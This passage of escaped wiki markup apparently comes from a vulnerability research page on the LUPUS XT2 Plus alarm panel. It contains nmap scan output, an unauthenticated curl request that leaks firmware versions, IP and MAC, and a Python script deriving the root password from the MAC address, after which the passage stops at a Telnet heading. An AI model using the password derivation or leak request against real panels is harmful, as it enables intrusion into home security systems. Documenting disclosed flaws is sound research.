&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Shell&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;sh / ash&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;BusyBox&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;v1.20.2 (2014-01-23) multi-call binary.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Services&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;telnetd,&amp;lt;br&amp;gt;kswapd v1.12c (20020818),&amp;lt;br&amp;gt;Mongoose 3.1 on port 80,443s,&amp;lt;br&amp;gt;udhcpc (v1.20.2),&amp;lt;br&amp;gt;climax,&amp;lt;br&amp;gt;hpgw&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Network Mapper&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Smart Home Alarm Panel&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;PORT      STATE SERVICE   VERSION&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;80&amp;lt;/b&amp;gt;/tcp    open  http      Mongoose&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: transparent; background-color: white; overflow:auto; margin-top: -13px; margin-bottom: -13px;&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;... more ...&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;| fingerprint-strings: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|   FourOhFourRequest: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     HTTP/1.1 404 Site or Page Not Found&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Content-Type: text/html&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Connection: close&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     &amp;lt;html&amp;gt;&lt;br /&gt;
|        &amp;lt;head&amp;gt;&lt;br /&gt;
|           &amp;lt;meta http-equiv=&amp;quot;content-type&amp;quot; content=&amp;quot;text/html; charset=UTF-8&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;text/css&amp;quot; href=&amp;quot;/css/main.css&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;title&amp;gt;Document Error: Site or Page Not Found&amp;lt;/title&amp;gt;&lt;br /&gt;
|        &amp;lt;/head&amp;gt;&lt;br /&gt;
|        &amp;lt;body&amp;gt;&lt;br /&gt;
|           &amp;lt;h2&amp;gt;Access Error: Site or Page Not Found&amp;lt;/h2&amp;gt;&lt;br /&gt;
|           &amp;lt;a href=&amp;quot;/index.htm&amp;quot; target=&amp;quot;_top&amp;quot;&amp;gt;Go to home&amp;lt;/a&amp;gt;&lt;br /&gt;
|        &amp;lt;/body&amp;gt;&lt;br /&gt;
|     &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|   GetRequest, HTTPOptions: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     HTTP/1.0 200 OK&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Server: Mongoose&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Pragma: no-cache&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Cache-control: no-cache&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Content-Type: text/html; charset=utf-8&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     &amp;lt;!DOCTYPE html PUBLIC&lt;br /&gt;
|        &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot;&lt;br /&gt;
|        &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     &amp;lt;html&amp;gt;&lt;br /&gt;
|        &amp;lt;head&amp;gt;&lt;br /&gt;
|           &amp;lt;title&amp;gt;Redirect to New Page&amp;lt;/title&amp;gt;&lt;br /&gt;
|           &amp;lt;META HTTP-EQUIV=&amp;quot;CACHE-CONTROL&amp;quot; CONTENT=&amp;quot;NO-CACHE&amp;quot;&amp;gt;&lt;br /&gt;
|           &amp;lt;META HTTP-EQUIV=&amp;quot;PRAGMA&amp;quot; CONTENT=&amp;quot;NO-CACHE&amp;quot;&amp;gt;&lt;br /&gt;
|           &amp;lt;META HTTP-EQUIV=&amp;quot;Expires&amp;quot; CONTENT=&amp;quot;0&amp;quot;&amp;gt;&lt;br /&gt;
|           &amp;lt;script&amp;gt;&lt;br /&gt;
|              function redirect() {&lt;br /&gt;
|                 location.href=&#039;https:&#039;+window.location.href.substring(window.location.protocol.length);&lt;br /&gt;
|              }&lt;br /&gt;
|           &amp;lt;/script&amp;gt;&lt;br /&gt;
|        &amp;lt;/head&amp;gt;&lt;br /&gt;
|        &amp;lt;body onload=redirect()&amp;gt;&amp;lt;/body&amp;gt;&lt;br /&gt;
|     &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|   RTSPRequest: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     HTTP/1.1 400 Page not found&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Content-Type: text/html&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Connection: close&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|_    &amp;lt;html&amp;gt;&lt;br /&gt;
|        &amp;lt;head&amp;gt;&lt;br /&gt;
|           &amp;lt;meta http-equiv=&amp;quot;content-type&amp;quot; content=&amp;quot;text/html; charset=UTF-8&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;text/css&amp;quot; href=&amp;quot;/css/main.css&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;title&amp;gt;Document Error: Page not found&amp;lt;/title&amp;gt;&lt;br /&gt;
|        &amp;lt;/head&amp;gt;&lt;br /&gt;
|        &amp;lt;body&amp;gt;&lt;br /&gt;
|           &amp;lt;h2&amp;gt;Access Error: Page not found&amp;lt;/h2&amp;gt;&lt;br /&gt;
|           &amp;lt;a href=&amp;quot;/index.htm&amp;quot; target=&amp;quot;_top&amp;quot;&amp;gt;Go to home&amp;lt;/a&amp;gt;&lt;br /&gt;
|        &amp;lt;/body&amp;gt;&lt;br /&gt;
|     &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|_http-server-header: Mongoose&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|_http-title: Redirect to New Page&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;443&amp;lt;/b&amp;gt;/tcp   open  ssl/https&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: transparent; background-color: white; overflow:auto; margin-top: -13px; margin-bottom: -13px;&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;... more ...&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;| fingerprint-strings: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|   FourOhFourRequest: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     HTTP/1.1 404 Site or Page Not Found&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Content-Type: text/html&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Connection: close&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     &amp;lt;html&amp;gt;&lt;br /&gt;
|        &amp;lt;head&amp;gt;&lt;br /&gt;
|           &amp;lt;meta http-equiv=&amp;quot;content-type&amp;quot; content=&amp;quot;text/html; charset=UTF-8&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;text/css&amp;quot; href=&amp;quot;/css/main.css&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;title&amp;gt;Document Error: Site or Page Not Found&amp;lt;/title&amp;gt;&lt;br /&gt;
|        &amp;lt;/head&amp;gt;&lt;br /&gt;
|        &amp;lt;body&amp;gt;&lt;br /&gt;
|           &amp;lt;h2&amp;gt;Access Error: Site or Page Not Found&amp;lt;/h2&amp;gt;&lt;br /&gt;
|           &amp;lt;a href=&amp;quot;/index.htm&amp;quot; target=&amp;quot;_top&amp;quot;&amp;gt;Go to home&amp;lt;/a&amp;gt;&lt;br /&gt;
|        &amp;lt;/body&amp;gt;&lt;br /&gt;
|     &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|   GenericLines: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     HTTP/1.1 400 Page not found&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Content-Type: text/html&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Connection: close&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     &amp;lt;html&amp;gt;&lt;br /&gt;
|        &amp;lt;head&amp;gt;&lt;br /&gt;
|           &amp;lt;meta http-equiv=&amp;quot;content-type&amp;quot; content=&amp;quot;text/html; charset=UTF-8&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;text/css&amp;quot; href=&amp;quot;/css/main.css&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;title&amp;gt;Document Error: Page not found&amp;lt;/title&amp;gt;&lt;br /&gt;
|        &amp;lt;/head&amp;gt;&lt;br /&gt;
|        &amp;lt;body&amp;gt;&lt;br /&gt;
|           &amp;lt;h2&amp;gt;Access Error: Page not found&amp;lt;/h2&amp;gt;&lt;br /&gt;
|           &amp;lt;a href=&amp;quot;/index.htm&amp;quot; target=&amp;quot;_top&amp;quot;&amp;gt;Go to home&amp;lt;/a&amp;gt;&lt;br /&gt;
|        &amp;lt;/body&amp;gt;&lt;br /&gt;
|     &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|   GetRequest, HTTPOptions: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     HTTP/1.1 200 OK&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Date: Thu, 01 Jan 1970 00:05:49 GMT&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Last-Modified: Thu, 01 Jan 1970 00:05:49 GMT&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Etag: &amp;quot;15d.11c&amp;quot;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Content-Type: text/html&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Content-Length: 284&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Connection: close&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Accept-Ranges: bytes&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|_    &amp;lt;!DOCTYPE html&amp;gt;&lt;br /&gt;
|     &amp;lt;html&amp;gt;&lt;br /&gt;
|        &amp;lt;head&amp;gt;&lt;br /&gt;
|           &amp;lt;title&amp;gt;Welcome&amp;lt;/title&amp;gt;&lt;br /&gt;
|           &amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;document.location=&amp;quot;/action/login&amp;quot;;&amp;lt;/script&amp;gt;&lt;br /&gt;
|        &amp;lt;/head&amp;gt;&lt;br /&gt;
|        &amp;lt;body&amp;gt;&lt;br /&gt;
|           &amp;lt;noscript&amp;gt;JavaScript must be enabled.&lt;br /&gt;
|              &amp;lt;br/&amp;gt;However, it seems JavaScript is either disabled or not supported by your browser.&lt;br /&gt;
|           &amp;lt;/noscript&amp;gt;&lt;br /&gt;
|        &amp;lt;/body&amp;gt;&lt;br /&gt;
|     &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;| ssl-cert: Subject: organizationName=LUPUS-Electronics GmbH/stateOrProvinceName=Germany/countryName=DE&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;| Not valid before: 2015-06-10T10:09:05&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|_Not valid after:  2025-06-07T10:09:05&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|_ssl-date: 1970-01-01T00:06:29+00:00; -50y54d18h02m30s from scanner time.&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;55023&amp;lt;/b&amp;gt;/tcp open  telnet    BusyBox telnetd&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;MAC Address&amp;lt;/b&amp;gt;: 00:1D:94:05:85:A7 (Climax Technology)&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;Device type&amp;lt;/b&amp;gt;: general purpose&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;Running&amp;lt;/b&amp;gt;: Linux 2.6.X&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;OS CPE&amp;lt;/b&amp;gt;: cpe:/o:linux:linux_kernel:2.6&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;OS details&amp;lt;/b&amp;gt;: Linux 2.6.9 - 2.6.30&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;Service Info&amp;lt;/b&amp;gt;: Host: HPGW-NET6&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;Host script results&amp;lt;/b&amp;gt;:&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|_clock-skew: -18316d18h02m30s&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Information Leak&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Shell&amp;lt;/b&amp;gt;: curl https://&amp;lt;b&amp;gt;$XT2_IP&amp;lt;/b&amp;gt;/action/welcomeGet&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;span&amp;gt;{&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;  &amp;quot;updates&amp;quot; : {&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;version&amp;quot; : &amp;quot;HPGW-G 0.0.2.19E HPGW-L2-XA35A &amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;em_ver&amp;quot; : &amp;quot;&amp;lt;b&amp;gt;0.0.2.19E&amp;lt;/b&amp;gt;&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;rf_ver&amp;quot; : &amp;quot;HPGW-L2-XA35A&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;rf_ext_cap&amp;quot; : &amp;quot;0&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;rf_ext_ver&amp;quot; : &amp;quot;&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;zb_ver&amp;quot; : &amp;quot;&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;zbs_ver&amp;quot; : &amp;quot;3.1.2.6.1&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;zw_ver&amp;quot; : &amp;quot;&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;gsm_ver&amp;quot; : &amp;quot;Cinterion BGS2-W REVISION 01.301&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;publicip&amp;quot; : &amp;quot;&amp;lt;b&amp;gt;185.108.250.116&amp;lt;/b&amp;gt;&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;ip&amp;quot; : &amp;quot;192.168.86.34&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;    &amp;quot;mac&amp;quot; : &amp;quot;&amp;lt;b&amp;gt;00:1D:94:05:85:A7&amp;lt;/b&amp;gt;&amp;quot;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;  }&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;}&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: No authentication needed!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Root Password Deriviation&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The derivation of this script is further explained below by analyzing the program &amp;lt;code&amp;gt;/root/hpgw&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Code&amp;lt;/b&amp;gt;: root_pw_deriviation.py&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
#!/bin/python&lt;br /&gt;
&lt;br /&gt;
import hashlib&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
mac = &amp;quot;001d940585a7&amp;quot; # MAC address without colons in all lowercase&lt;br /&gt;
x = &amp;quot;7jBhPZVbCJMrS9qg6KtxzHR5T2dk3NmvQ4WDywFsYpXnc8Gf&amp;quot;&lt;br /&gt;
y = &amp;quot;5156&amp;quot; + mac + &amp;quot;2759&amp;quot;&lt;br /&gt;
digest = hashlib.sha256()&lt;br /&gt;
digest.update(y)&lt;br /&gt;
z = digest.digest()&lt;br /&gt;
sys.stdout.write(x[ord(z[5]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[7]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[28]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[6]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[24]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[15]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[13]) % len(x)])&lt;br /&gt;
sys.stdout.write(x[ord(z[16]) % len(x)])&lt;br /&gt;
&lt;br /&gt;
sys.stdout.flush()&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[#CVE1|Dan Fabian (4 Apr 2019)]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Telnet&amp;lt;/h3&amp;gt;&lt;br /&gt;
